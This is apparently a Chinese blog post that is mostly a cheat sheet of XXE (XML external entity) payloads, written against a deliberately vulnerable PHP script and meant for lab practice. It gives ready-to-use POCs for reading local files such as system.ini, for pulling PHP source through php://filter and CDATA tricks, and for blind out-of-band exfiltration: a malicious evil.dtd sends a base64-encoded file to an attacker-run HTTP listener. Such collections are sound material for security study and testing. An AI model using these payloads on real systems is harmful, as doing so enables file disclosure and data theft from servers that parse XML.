XXE_payload
<?php
$xmlfile = file_get_contents('php://input');
$creds=simplexml_load_string($xmlfile);
echo $creds;
?>
1 回显的类型
1.1
POC:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
1.2
与1.1不一样的是,引入的外部的dtd
POC:
**********
post提交的数据:
<?xml version="1.0"?>
<!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">
1.3
********
post:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd">
%goodies;
]>
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">
1.4
当里面含有 |
1.41
如果是php的话,可以用php的filter协议直接读出文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<creds>&goodies;</creds>
1.42
拼接引用的内容,就可以正常输出
**********
post提交的数据:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
*********
evil.dtd的内容
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
2 无回显
2.1
**********
post:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd">
%remote;%int;%send;
]>
**********
evil.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
***********
python3 -m http.server 9999
3总结一下自己老出错的地方
最后引用实体的时候,老忘了打分号。&goodies;
没有回显的时候,要注意用filter结合file的绝对路径
filter可以不用绝对路径,但是有时候你是访问你的index.html,php文件不一定是index.php。
靶场练习;
https://github.com/c0ny1/xxe-lab
XXE_payload的更多相关文章
随机推荐
- DIP原则
依赖倒置原则(Dependence Inversion Principle,DIP)的原始定义: 高层模块不应该依赖底层模块,两者都应该依赖其抽象: 抽象不应该依赖细节: 细节应该依赖抽象.
- CAFFE(0):Ubuntu 下安装anaconda2和anaconda3
这个步骤可以看做是安装caffe可以进行或者不必要的步骤,不过笔者建议安装anaconda2和anaconda3,里面会包含很多的模块,省去caffe学习过程中出现模块不存在的各种错误. 第一步.进入 ...
- GOLANG文件拷贝
GOLANG文件拷贝 在Golang中,使用系统自带函数io.Copy() 如: srcFile := "C:/Users/Wisdom/Desktop/Wisdompic.png" ...
- LNMP安装与配置之Nginx
Nginx简介 Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务.Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Ramb ...
- Linux date cal bc和一些快捷键学习
1 date 日期 2 cal 日历 具体每年日历 cal +年份 3 bc 计算器 如果有小数点需要scale命令,scale=数字 quit退出 4 [Tab]按键 :命令补全和档案补 ...
- shell脚本编程进阶及RAID和LVM应用2
文件测试 存在性测试 -a FILE 这个选项的效果与-e 相同.但是它已经被弃用了,并且不鼓励使用 -e FILE 文件的存在性测试,存在则为真,否则为假 例:~]# [ -e /etc/rc.d/ ...
- linux——命令2—删除—查看—搜索
多种查看命令: 多种搜索命令: ll命令 -rw-rw-rw - 表示文件 drw-rw-rw d 表示目录文件夹 ========================== 使用rm删除文件 例如:r ...
- mysql主从同步监控---邮件告警
#!/bin/bash #check MySQL_Slave Status #crontab time : MYSQLPORT=`netstat -na|grep "|awk -F[:&qu ...
- udp单播,广播,多播实现(ReceiveFromAsync,SendToAsync)
注意:客户端和服务器实现基本一致,本地host和port和多播的host和port可以一样 (1)多播 1.将本地host加入多播组中,只有加入多播组的成员才能接受同组的节点发送的多播 Multica ...
- 18-SQLServer中给视图创建索引
一.注意点 1.索引视图所引用的基表必须在同一个数据库中,不是用union all引用多个数据库的表: 2.创建索引视图时要加上with schemabinding: 3.创建索引视图时要指定表所属的 ...